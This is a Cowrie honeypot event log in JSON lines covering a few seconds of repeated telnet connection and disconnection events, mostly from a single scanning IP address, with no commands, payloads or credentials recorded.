{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41346,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb5276992eac","protocol":"telnet","message":"New connection: 174.142.104.49:41346 (159.203.135.109:23) [session: cb5276992eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:44.750726Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41602,"dst_ip":"159.203.135.109","dst_port":23,"session":"051be229f926","protocol":"telnet","message":"New connection: 174.142.104.49:41602 (159.203.135.109:23) [session: 051be229f926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:44.920538Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41628,"dst_ip":"159.203.135.109","dst_port":23,"session":"272c865429c5","protocol":"telnet","message":"New connection: 174.142.104.49:41628 (159.203.135.109:23) [session: 272c865429c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:44.969684Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:44.988518Z","src_ip":"165.154.6.69","session":"4883154ee36e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.18517231941223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:45.145952Z","src_ip":"174.142.104.49","session":"ae27e7d2a43e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44170,"dst_ip":"159.203.135.109","dst_port":23,"session":"693be4ada9a1","protocol":"telnet","message":"New connection: 174.142.104.49:44170 (159.203.135.109:23) [session: 693be4ada9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:45.578673Z"}
{"eventid":"cowrie.session.closed","duration":31.30123543739319,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:45.712663Z","src_ip":"174.142.104.49","session":"15a24e5d8769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.74701642990112,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:46.164265Z","src_ip":"174.142.104.49","session":"2661fd7a6f2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.567896842956543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:46.541661Z","src_ip":"174.142.104.49","session":"09bb976e6558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44668,"dst_ip":"159.203.135.109","dst_port":23,"session":"9deb71424388","protocol":"telnet","message":"New connection: 174.142.104.49:44668 (159.203.135.109:23) [session: 9deb71424388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:46.875221Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41584,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5bff51c4e70","protocol":"telnet","message":"New connection: 174.142.104.49:41584 (159.203.135.109:23) [session: c5bff51c4e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:46.896424Z"}
{"eventid":"cowrie.session.closed","duration":30.44021987915039,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:47.256137Z","src_ip":"174.142.104.49","session":"1835cd13a493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00124406814575,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:47.274457Z","src_ip":"174.142.104.49","session":"06022d25677c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60085940361023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:47.314395Z","src_ip":"174.142.104.49","session":"e0e20ea409cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45914,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f3b1ba026ca","protocol":"telnet","message":"New connection: 174.142.104.49:45914 (159.203.135.109:23) [session: 5f3b1ba026ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:47.704333Z"}
{"eventid":"cowrie.session.closed","duration":26.967264890670776,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:47.776918Z","src_ip":"174.142.104.49","session":"4295495473e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":52514,"dst_ip":"10.17.0.5","dst_port":23,"session":"38529d25419d","protocol":"telnet","message":"New connection: 193.22.147.168:52514 (10.17.0.5:23) [session: 38529d25419d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:48.078436Z"}
{"eventid":"cowrie.session.closed","duration":30.911850929260254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:48.086830Z","src_ip":"193.22.147.168","session":"ff3a1d7d8a56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46814,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d3801ea0175","protocol":"telnet","message":"New connection: 174.142.104.49:46814 (159.203.135.109:23) [session: 3d3801ea0175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:48.241288Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57512,"dst_ip":"159.203.135.109","dst_port":23,"session":"0daccf2863cb","protocol":"telnet","message":"New connection: 174.142.104.49:57512 (159.203.135.109:23) [session: 0daccf2863cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:48.344897Z"}
{"eventid":"cowrie.session.closed","duration":0.004930257797241211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:48.349721Z","src_ip":"174.142.104.49","session":"0daccf2863cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47238,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f6f3d045ed7","protocol":"telnet","message":"New connection: 174.142.104.49:47238 (159.203.135.109:23) [session: 3f6f3d045ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:48.489525Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47974,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a11a84edd1a","protocol":"telnet","message":"New connection: 174.142.104.49:47974 (159.203.135.109:23) [session: 5a11a84edd1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:48.866102Z"}
{"eventid":"cowrie.session.closed","duration":120.00104761123657,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:49.211442Z","src_ip":"174.142.104.49","session":"2d1968ed53b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48818,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fb96ef053b2","protocol":"telnet","message":"New connection: 174.142.104.49:48818 (159.203.135.109:23) [session: 3fb96ef053b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:49.436336Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47138,"dst_ip":"159.203.135.109","dst_port":23,"session":"fca9322f7a3b","protocol":"telnet","message":"New connection: 174.142.104.49:47138 (159.203.135.109:23) [session: fca9322f7a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:49.449598Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":55856,"dst_ip":"10.17.0.5","dst_port":23,"session":"392e504f88d8","protocol":"telnet","message":"New connection: 193.22.147.168:55856 (10.17.0.5:23) [session: 392e504f88d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:49.985295Z"}
{"eventid":"cowrie.session.closed","duration":31.514960289001465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:49.990784Z","src_ip":"174.142.104.49","session":"baba096e2fac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38529,"dst_ip":"159.203.135.109","dst_port":23,"session":"230486b05254","protocol":"telnet","message":"New connection: 174.142.104.49:38529 (159.203.135.109:23) [session: 230486b05254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:50.121613Z"}
{"eventid":"cowrie.session.closed","duration":30.44206738471985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:50.323757Z","src_ip":"174.142.104.49","session":"80dfc32b3d9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60044,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec9f4e9e89a6","protocol":"telnet","message":"New connection: 174.142.104.49:60044 (159.203.135.109:23) [session: ec9f4e9e89a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:50.872802Z"}
{"eventid":"cowrie.session.closed","duration":0.0051746368408203125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:50.877832Z","src_ip":"174.142.104.49","session":"ec9f4e9e89a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48148,"dst_ip":"159.203.135.109","dst_port":23,"session":"b544c6983f12","protocol":"telnet","message":"New connection: 174.142.104.49:48148 (159.203.135.109:23) [session: b544c6983f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:50.953467Z"}
{"eventid":"cowrie.session.closed","duration":30.802791595458984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:51.384480Z","src_ip":"193.22.147.168","session":"d9617829c3ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53702,"dst_ip":"159.203.135.109","dst_port":23,"session":"6306eae3e7f2","protocol":"telnet","message":"New connection: 174.142.104.49:53702 (159.203.135.109:23) [session: 6306eae3e7f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:51.548664Z"}
{"eventid":"cowrie.session.closed","duration":15.2951078414917,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:51.848568Z","src_ip":"174.142.104.49","session":"18664e7ad411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35983943939209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:52.192855Z","src_ip":"174.142.104.49","session":"94e23b7aad61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":55870,"dst_ip":"10.17.0.5","dst_port":23,"session":"46453c8f9975","protocol":"telnet","message":"New connection: 193.22.147.168:55870 (10.17.0.5:23) [session: 46453c8f9975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:52.296415Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50636,"dst_ip":"159.203.135.109","dst_port":23,"session":"90a8422ebf0d","protocol":"telnet","message":"New connection: 174.142.104.49:50636 (159.203.135.109:23) [session: 90a8422ebf0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:52.649676Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55290,"dst_ip":"159.203.135.109","dst_port":23,"session":"60d07cec78bc","protocol":"telnet","message":"New connection: 174.142.104.49:55290 (159.203.135.109:23) [session: 60d07cec78bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:52.680885Z"}
{"eventid":"cowrie.session.closed","duration":31.494725942611694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:52.820721Z","src_ip":"174.142.104.49","session":"22b7d57a63d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.249578714370728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:52.955044Z","src_ip":"174.142.104.49","session":"97f6457beb22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00160932540894,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:53.073104Z","src_ip":"174.142.104.49","session":"214b1d16eed3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51904,"dst_ip":"159.203.135.109","dst_port":23,"session":"23ebf9156ed6","protocol":"telnet","message":"New connection: 174.142.104.49:51904 (159.203.135.109:23) [session: 23ebf9156ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:53.420617Z"}
{"eventid":"cowrie.session.closed","duration":30.626693725585938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:53.464056Z","src_ip":"193.22.147.168","session":"5b68ea0357dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56594,"dst_ip":"159.203.135.109","dst_port":23,"session":"57988b282e58","protocol":"telnet","message":"New connection: 174.142.104.49:56594 (159.203.135.109:23) [session: 57988b282e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:53.536889Z"}
{"eventid":"cowrie.session.closed","duration":31.961119651794434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:53.907910Z","src_ip":"193.22.147.168","session":"2f15581e1572","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":55884,"dst_ip":"10.17.0.5","dst_port":23,"session":"b671a0c0486a","protocol":"telnet","message":"New connection: 193.22.147.168:55884 (10.17.0.5:23) [session: b671a0c0486a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:54.351702Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38384,"dst_ip":"159.203.135.109","dst_port":23,"session":"3aa6f2d208d3","protocol":"telnet","message":"New connection: 174.142.104.49:38384 (159.203.135.109:23) [session: 3aa6f2d208d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:54.428740Z"}
{"eventid":"cowrie.session.closed","duration":0.006638765335083008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:54.435282Z","src_ip":"174.142.104.49","session":"3aa6f2d208d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56814,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0adf3e49cc8","protocol":"telnet","message":"New connection: 174.142.104.49:56814 (159.203.135.109:23) [session: d0adf3e49cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:54.625973Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54308,"dst_ip":"159.203.135.109","dst_port":23,"session":"205df49243d7","protocol":"telnet","message":"New connection: 174.142.104.49:54308 (159.203.135.109:23) [session: 205df49243d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:54.953509Z"}
{"eventid":"cowrie.session.closed","duration":30.341099977493286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:55.386229Z","src_ip":"174.142.104.49","session":"bc3c54e8e3b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58238,"dst_ip":"159.203.135.109","dst_port":23,"session":"5014f80fb2a5","protocol":"telnet","message":"New connection: 174.142.104.49:58238 (159.203.135.109:23) [session: 5014f80fb2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:55.527043Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53692,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba25ac265636","protocol":"telnet","message":"New connection: 174.142.104.49:53692 (159.203.135.109:23) [session: ba25ac265636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:55.565397Z"}
{"eventid":"cowrie.session.closed","duration":31.500033617019653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:55.808677Z","src_ip":"174.142.104.49","session":"130f37d44b8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60598,"dst_ip":"159.203.135.109","dst_port":23,"session":"efddab914d32","protocol":"telnet","message":"New connection: 174.142.104.49:60598 (159.203.135.109:23) [session: efddab914d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:55.890124Z"}
{"eventid":"cowrie.session.closed","duration":31.36769390106201,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:55.978467Z","src_ip":"161.132.53.68","session":"65ac2e561965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.025455236434937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:56.058912Z","src_ip":"174.142.104.49","session":"99af792b91f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37094,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f9bf17f790e","protocol":"telnet","message":"New connection: 174.142.104.49:37094 (159.203.135.109:23) [session: 7f9bf17f790e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:56.521565Z"}
{"eventid":"cowrie.session.closed","duration":31.31934928894043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:57.182430Z","src_ip":"174.142.104.49","session":"6d854df80964","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00180721282959,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:57.387325Z","src_ip":"174.142.104.49","session":"edc391789690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34840,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a1b0463e20f","protocol":"telnet","message":"New connection: 174.142.104.49:34840 (159.203.135.109:23) [session: 8a1b0463e20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:57.440300Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59712,"dst_ip":"159.203.135.109","dst_port":23,"session":"93faf278c987","protocol":"telnet","message":"New connection: 174.142.104.49:59712 (159.203.135.109:23) [session: 93faf278c987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:58.441808Z"}
{"eventid":"cowrie.session.closed","duration":32.44431686401367,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:58.641834Z","src_ip":"193.22.147.168","session":"07971d2eadce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.838464975357056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:59.002911Z","src_ip":"174.142.104.49","session":"992fe4f19a72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.32996201515198,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:59.061733Z","src_ip":"193.22.147.168","session":"9fcc3f00193b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017340898513794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:59.224654Z","src_ip":"174.142.104.49","session":"29597d40d65e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.632728815078735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:59.467098Z","src_ip":"174.142.104.49","session":"c7229a97e6be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.59835624694824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:59.969566Z","src_ip":"193.22.147.168","session":"720e3287b76e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.277421712875366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:00.220803Z","src_ip":"174.142.104.49","session":"9417736075c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.489069938659668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:00.281998Z","src_ip":"174.142.104.49","session":"436ccf74ca4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.521872997283936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:00.291332Z","src_ip":"174.142.104.49","session":"2168a1594f73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.89225625991821,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:00.582322Z","src_ip":"193.22.147.168","session":"9e4b0897f9b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47718,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1e421649d29","protocol":"telnet","message":"New connection: 174.142.104.49:47718 (159.203.135.109:23) [session: e1e421649d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:00.630894Z"}
{"eventid":"cowrie.session.closed","duration":0.008032083511352539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:00.638781Z","src_ip":"174.142.104.49","session":"e1e421649d29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834420919418335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:00.899776Z","src_ip":"174.142.104.49","session":"7d76bd908f09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35388,"dst_ip":"159.203.135.109","dst_port":23,"session":"4778e68906d6","protocol":"telnet","message":"New connection: 174.142.104.49:35388 (159.203.135.109:23) [session: 4778e68906d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:01.865872Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42276,"dst_ip":"159.203.135.109","dst_port":23,"session":"b678eb97e64c","protocol":"telnet","message":"New connection: 174.142.104.49:42276 (159.203.135.109:23) [session: b678eb97e64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:01.874413Z"}
{"eventid":"cowrie.session.closed","duration":29.597434520721436,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:03.202427Z","src_ip":"174.142.104.49","session":"c076b131dc32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.62792444229126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:03.884802Z","src_ip":"174.142.104.49","session":"825950d2671e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46070,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff4fc56cbab8","protocol":"telnet","message":"New connection: 174.142.104.49:46070 (159.203.135.109:23) [session: ff4fc56cbab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:04.461496Z"}
{"eventid":"cowrie.session.closed","duration":30.87037467956543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:04.524307Z","src_ip":"174.142.104.49","session":"d7a4d3daf911","protocol":"telnet"}
